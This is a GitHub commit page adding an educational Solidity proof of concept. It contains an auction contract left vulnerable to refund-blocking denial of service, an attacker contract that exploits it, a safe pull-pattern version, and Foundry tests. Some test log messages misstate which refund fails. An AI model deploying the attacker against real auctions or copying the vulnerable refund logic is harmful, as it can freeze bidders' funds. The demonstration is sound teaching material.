Skip to content

Commit

Permalink
dos attack POC completed
Browse files Browse the repository at this point in the history
  • Loading branch information
bluntbrain committed Dec 27, 2024
1 parent d253286 commit a323481
Show file tree
Hide file tree
Showing 5 changed files with 284 additions and 0 deletions.
21 changes: 21 additions & 0 deletions src/denial-of-service/MaliciousBidder.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,21 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

import "./VulnerableAuction.sol";

/// @title Malicious Bidder Contract
/// @author Ishan Lakhwani
/// @notice This contract demonstrates how to perform a DoS attack on the auction
/// @dev This is an educational example of what NOT to do

contract MaliciousBidder {
VulnerableAuction public auction;

constructor(VulnerableAuction _auction) {
auction = _auction;
}

function attack() public payable {
auction.placeBid{value: msg.value}();
}
}
73 changes: 73 additions & 0 deletions src/denial-of-service/SafeAuction.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,73 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

/// @title Safe Auction Contract
/// @author Ishan Lakhwani
/// @notice This contract demonstrates a DoS-resistant auction system using pull pattern
/// @dev This is a safer implementation using pull over push pattern

contract SafeAuction {
// Events
event NewHighestBid(address indexed bidder, uint256 amount);
event RefundClaimed(address indexed bidder, uint256 amount);

// State variables
address public highestBidder;
uint256 public highestBid;

// Mapping to track refunds
mapping(address => uint256) public pendingReturns;

/// @notice Place a new bid
/// @dev Uses pull pattern - stores refunds for later withdrawal
function placeBid() external payable {
require(msg.value > highestBid, "Bid not high enough");

// Add previous highest bid to pending returns
if (highestBidder != address(0)) {
pendingReturns[highestBidder] += highestBid;
}

// Update auction state
highestBid = msg.value;
highestBidder = msg.sender;

emit NewHighestBid(msg.sender, msg.value);
}

/// @notice Withdraw pending refunds
/// @dev Allows users to pull their refunds
/// @return success Whether the withdrawal was successful
function withdrawRefund() external returns (bool success) {
uint256 amount = pendingReturns[msg.sender];
if (amount > 0) {
// Reset pending return before sending to prevent re-entrancy
pendingReturns[msg.sender] = 0;

// Send refund
(bool sent,) = msg.sender.call{value: amount}("");
if (!sent) {
// Restore the amount if send fails
pendingReturns[msg.sender] = amount;
return false;
}
emit RefundClaimed(msg.sender, amount);
return true;
}
return false;
}

/// @notice Get the current auction state
/// @return _highestBidder The address of the current highest bidder
/// @return _highestBid The current highest bid amount
function getAuctionState() external view returns (address _highestBidder, uint256 _highestBid) {
return (highestBidder, highestBid);
}

/// @notice Get pending refund amount for an address
/// @param bidder The address to check
/// @return amount The amount of pending refund
function getPendingRefund(address bidder) external view returns (uint256) {
return pendingReturns[bidder];
}
}
41 changes: 41 additions & 0 deletions src/denial-of-service/VulnerableAuction.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,41 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

/// @title Vulnerable Auction Contract
/// @author Ishan Lakhwani
/// @notice This contract demonstrates a vulnerable auction system prone to DoS attacks
/// @dev This contract is for demonstration purposes only - DO NOT USE IN PRODUCTION

contract VulnerableAuction {
// Events
event NewHighestBid(address indexed bidder, uint256 amount);
event BidRefunded(address indexed bidder, uint256 amount);

// State variables
address public highestBidder;
uint256 public highestBid;

function placeBid() external payable {
require(msg.value > highestBid, "Bid not high enough");

address previousBidder = highestBidder;
uint256 previousBid = highestBid;

// Update auction state
highestBid = msg.value;
highestBidder = msg.sender;

emit NewHighestBid(msg.sender, msg.value);

// Refund the previous bidder
if (previousBidder != address(0)) {
(bool sent,) = previousBidder.call{value: previousBid}("");
require(sent, "Failed to refund previous bidder");
emit BidRefunded(previousBidder, previousBid);
}
}

function getAuctionState() public view returns (address, uint256) {
return (highestBidder, highestBid);
}
}
70 changes: 70 additions & 0 deletions test/DoSTest.t.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,70 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

import "forge-std/Test.sol";
import "forge-std/console.sol";
import "../src/denial-of-service/VulnerableAuction.sol";
import "../src/denial-of-service/MaliciousBidder.sol";

contract DoSTest is Test {
VulnerableAuction public auction;
MaliciousBidder public attacker;

address alice = makeAddr("alice");
address bob = makeAddr("bob");
address carol = makeAddr("carol");

function setUp() public {
// Setup initial balances
vm.deal(alice, 5 ether);
vm.deal(bob, 5 ether);
vm.deal(carol, 5 ether);

// Deploy contracts
auction = new VulnerableAuction();
attacker = new MaliciousBidder(auction);

console.log("\n[DoS-Test] Setting up auction demonstration");
console.log("----------------------------------------");
_logAuctionState("Initial State");
}

function testDoSAttack() public {
// Alice places first bid
vm.prank(alice);
auction.placeBid{value: 1 ether}();
console.log("[DoS-Test] Alice placed bid of 1 ether");
_logAuctionState("After Alice's bid");

// Bob places higher bid
vm.prank(bob);
auction.placeBid{value: 2 ether}();
console.log("[DoS-Test] Bob placed bid of 2 ether");
console.log("[DoS-Test] Alice received refund of 1 ether");
_logAuctionState("After Bob's bid");

// Attacker places malicious bid
vm.deal(address(attacker), 3 ether);
attacker.attack{value: 3 ether}();
console.log("[DoS-Test] Attacker placed bid of 3 ether");
console.log("[DoS-Test] Bob should receive refund of 2 ether");
console.log("[DoS-Test] Attack successful - Bob's refund was rejected");
_logAuctionState("After Attacker's bid");

// Carol tries to place a bid but fails
vm.prank(carol);
vm.expectRevert("Failed to refund previous bidder");
auction.placeBid{value: 4 ether}();
console.log("[DoS-Test] Carol's bid of 4 ether failed as expected");
console.log("[DoS-Test] Auction is now permanently stuck!");
_logAuctionState("Final State");
}

function _logAuctionState(string memory state) internal view {
(address currentBidder, uint256 currentBid) = auction.getAuctionState();
console.log("\n=== Auction State: %s ===", state);
console.log("Highest Bidder: %s", currentBidder);
console.log("Highest Bid: %s wei", currentBid);
console.log("================================\n");
}
}
79 changes: 79 additions & 0 deletions test/SafeDoSTest.t.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,79 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

import "forge-std/Test.sol";
import "forge-std/console.sol";
import "../src/denial-of-service/SafeAuction.sol";
import "../src/denial-of-service/MaliciousBidder.sol";

contract SafeDoSTest is Test {
SafeAuction public auction;
MaliciousBidder public attacker;

address alice = makeAddr("alice");
address bob = makeAddr("bob");
address carol = makeAddr("carol");

function setUp() public {
// Setup initial balances
vm.deal(alice, 5 ether);
vm.deal(bob, 5 ether);
vm.deal(carol, 5 ether);

// Deploy contracts
auction = new SafeAuction();

console.log("\n[SafeDoS-Test] Setting up auction demonstration");
console.log("----------------------------------------");
_logAuctionState("Initial State");
}

function testSafeAuction() public {
// Alice places first bid
vm.prank(alice);
auction.placeBid{value: 1 ether}();
console.log("[SafeDoS-Test] Alice placed bid of 1 ether");
_logAuctionState("After Alice's bid");

// Bob places higher bid
vm.prank(bob);
auction.placeBid{value: 2 ether}();
console.log("[SafeDoS-Test] Bob placed bid of 2 ether");
_logPendingRefund(alice, "Alice's pending refund");

// Alice withdraws her refund
vm.prank(alice);
bool aliceWithdrawSuccess = auction.withdrawRefund();
assertTrue(aliceWithdrawSuccess, "Alice should be able to withdraw");
console.log("[SafeDoS-Test] Alice successfully withdrew her refund");

// Carol places even higher bid
vm.prank(carol);
auction.placeBid{value: 3 ether}();
console.log("[SafeDoS-Test] Carol placed bid of 3 ether");
_logPendingRefund(bob, "Bob's pending refund");

// Bob withdraws his refund
vm.prank(bob);
bool bobWithdrawSuccess = auction.withdrawRefund();
assertTrue(bobWithdrawSuccess, "Bob should be able to withdraw");
console.log("[SafeDoS-Test] Bob successfully withdrew his refund");

_logAuctionState("Final State");
}

function _logAuctionState(string memory state) internal view {
(address currentBidder, uint256 currentBid) = auction.getAuctionState();
console.log("\n=== Auction State: %s ===", state);
console.log("Highest Bidder: %s", currentBidder);
console.log("Highest Bid: %s wei", currentBid);
console.log("================================\n");
}

function _logPendingRefund(address bidder, string memory label) internal view {
uint256 pendingAmount = auction.getPendingRefund(bidder);
console.log("\n=== %s ===", label);
console.log("Amount: %s wei", pendingAmount);
console.log("================================\n");
}
}

0 comments on commit a323481

Please sign in to comment.